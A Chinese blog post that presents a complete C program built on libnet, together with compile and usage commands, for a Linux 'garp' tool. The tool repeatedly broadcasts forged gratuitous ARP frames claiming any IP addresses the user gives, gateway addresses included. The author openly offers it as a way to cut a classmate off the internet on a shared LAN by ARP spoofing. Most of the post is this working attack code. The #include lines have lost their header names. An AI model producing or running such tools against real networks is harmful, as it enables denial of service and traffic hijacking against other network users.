以前读书时代,windows上有个网络软件叫"网络执法官",相信很多朋友都用过,局域网中发现谁在bt,自己网页都打不开,很不爽,直接去跟他说恐怕又得罪人,怎么办,打开网络执法官,简单配置一下,让他上不了网.
当然现在的网络执法官版本功能已经很丰富了,但其原理还是跟以前一样,利用了arp欺骗,填上想要伪造的网关地址,然后网络执法官会在lan内广播免费arp报文,其余机器就出不了外网了.一句话:很强,很暴力!
Linux上实现,需要直接构造arp帧,利用其他技术,非常复杂,而用libnet这个开源库,核心代码只要几十行即可搞定.
大多数linux发行版和其他unix系统都自带了libnet. 看看你的系统中有没有libnet-config这个命令即可知道.
没有的可以到它的主页下载安装:
另外请确认你的系统上的是1.1还是1.0版本,两个版本API很不一样,这里用的是最新的1.1,如果你不是,请升级.
编译:
gcc garp.c -o garp -lnet
运行:
-h看命令行,
-f指定出接口,没指定的话会自动选择一个接口,
-t指定免费arp包的发送间隔时间,默认5秒,
例:
./garp -f eth0 192.168.1.1 192.168.2.1
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define MAX_IP_NUM 32
static char *pname = "";
static char *ifname = NULL;
static struct in_addr ipaddrs[MAX_IP_NUM];
static int timer = 5;
static int
get_hw_addr(char *dev, unsigned char macbuf[6])
{
libnet_t *l;
char errbuf[LIBNET_ERRBUF_SIZE] = "";
struct libnet_ether_addr *mac;
l = libnet_init(LIBNET_LINK, dev, errbuf);
if (!l) {
fprintf(stderr, "libnet_init: %s\n", errbuf);
return -1;
}
mac = libnet_get_hwaddr(l);
if (!mac) {
fprintf(stderr, "libnet_get_hwaddr: %s\n", libnet_geterror(l));
libnet_destroy(l);
return -1;
}
memcpy(macbuf, mac->ether_addr_octet, 6);
libnet_destroy(l);
return 0;
}
static int
send_garp(char *ifname, long ipaddr)
{
unsigned char bcast_mac[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
unsigned char zero_mac[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
unsigned char mymac[6] = {0x00};
libnet_t *l;
char errbuf[LIBNET_ERRBUF_SIZE] = "";
int i, ret = 0;
if (get_hw_addr(ifname, mymac) != 0) {
return -1;
}
l = libnet_init(LIBNET_LINK, ifname, errbuf);
if (!l) {
fprintf(stderr, "libnet_init: %s\n", errbuf);
return -1;
}
for (i = 0; i < 2; i++) {
if (libnet_build_arp(ARPHRD_ETHER, /* hardware address type */
ETHERTYPE_IP, /* protocol address type */
6, /* Hardware address length */
4, /* protocol address length */
(i == 0) ? ARPOP_REQUEST : ARPOP_REPLY, /* ARP operation type */
mymac, /* sender Hardware address */
(unsigned char *)&ipaddr, /* sender protocol address */
(i == 0) ? zero_mac : mymac, /* target hardware address */
(unsigned char *)&ipaddr, /* target protocol address */
NULL, /* Payload */
0, /* Length of payload */
l, /* libnet context pointer */
0 /* packet id */
) == -1 ) {
fprintf(stderr, "libnet_build_arp: %s\n", libnet_geterror(l));
ret = -1;
break;
}
if (libnet_build_ethernet(bcast_mac, mymac, ETHERTYPE_ARP, NULL, 0,
l, 0) == -1 ) {
fprintf(stderr, "libnet_build_ethernet: %s\n", libnet_geterror(l));
ret = -1;
break;
}
if (libnet_write(l) == -1) {
fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l));
ret = -1;
break;
}
libnet_clear_packet(l);
if (i == 0) {
struct timespec ts;
ts.tv_sec = 0;
ts.tv_nsec = 500 * 1000 * 1000; /* sleep 500 ms between the two frame. */
nanosleep(&ts, NULL);
}
}
libnet_destroy(l);
return ret;
}
static void
usage(void)
{
fprintf(stdout, "Usage:\n"
" %s [-h] [-f interface] [-t time] ipaddr1 [ipaddr2 ipaddr3 ...]\n",
pname);
}
int
main(int argc, char *argv[])
{
int ret, opt, i;
struct timeval tv;
int errnum;
pname = strrchr(argv[0], '/');
if (pname)
pname++;
else
pname = argv[0];
while ((opt = getopt(argc, argv, "hf:t:")) != -1) {
switch (opt) {
case 'h':
usage();
exit(0);
break;
case 'f':
ifname = strdup(optarg);
if (!ifname) {
fprintf(stderr, "strdup failed.\n");
exit(-1);
}
break;
case 't':
timer = atoi(optarg);
if (timer <= 0) {
fprintf(stderr, "timer value is invalid.\n");
exit(-1);
}
break;
default:
usage();
exit(0);
break;
}
}
if (optind >= argc) {
usage();
exit(-1);
}
i = 0;
while (optind < argc && i < MAX_IP_NUM) {
if (inet_aton(argv[optind], &ipaddrs[i]) == 0) {
fprintf(stderr, "ip addr error.\n");
exit(-1);
}
optind++;
i ++;
}
fprintf(stdout, "ifname: %s, timer: %d\n",
ifname ? ifname : "",
timer);
fprintf(stdout, "ip:\n");
i = 0;
while (ipaddrs[i].s_addr && i < MAX_IP_NUM) {
fprintf(stdout, " %s\n", inet_ntoa(ipaddrs[i]));
i++;
}
errnum = 0;
while (1) {
tv.tv_sec = timer;
tv.tv_usec = 0;
ret = select(0, NULL, NULL, NULL, &tv);
if (ret < 0) {
if (errno == EINTR || errno == EAGAIN)
continue;
perror("select");
exit(-1);
}
i = 0;
while (ipaddrs[i].s_addr && i < MAX_IP_NUM) {
if (send_garp(ifname, ipaddrs[i].s_addr) < 0)
errnum++;
i ++;
}
if (errnum >= 10)
break;
}
exit(0);
}
阅读(1708) | 评论(0) | 转发(0) |